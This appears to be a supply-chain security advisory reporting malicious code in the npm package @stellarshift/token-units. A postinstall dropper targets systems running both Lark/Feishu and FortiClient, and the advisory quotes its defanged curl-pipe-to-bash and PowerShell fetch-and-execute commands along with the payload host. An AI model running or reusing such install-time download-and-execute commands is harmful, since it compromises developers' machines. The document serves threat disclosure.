@stellarshift/token-units@1.0.1
Malicious code in @stellarshift/token-units (npm)
Analysis
The postinstall hook (scripts/postinstall.js) of this package is a targeted dropper. On macOS/Windows systems where both the Lark/Feishu chat client and FortiClient VPN are installed, it silently downloads a remote stage1 payload from Tencent COS object storage and executes it: `curl -fsSL 'hxxps://mexc-1258433570[.]cos[.]ap-beijing[.]myqcloud[.]com/abi-tool-damon' | bash` (or PowerShell `iwr ... | iex` on Windows), with output suppressed and the process hidden. On all other systems it exits silently, evading detection. The payload URL is fetched and executed at install time.
- analyzed by
- Leitwacht
- first seen
- Sep 2, 2026, 12:59 PM
- analyzed
- Sep 2, 2026, 01:00 PM
Related advisories
- @stellarshift/chain-metadata@1.0.1
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Independently detected by the Leitwacht supply-chain probe. IOCs are defanged. Published CC0. Think this is a mistake? See the dispute policy.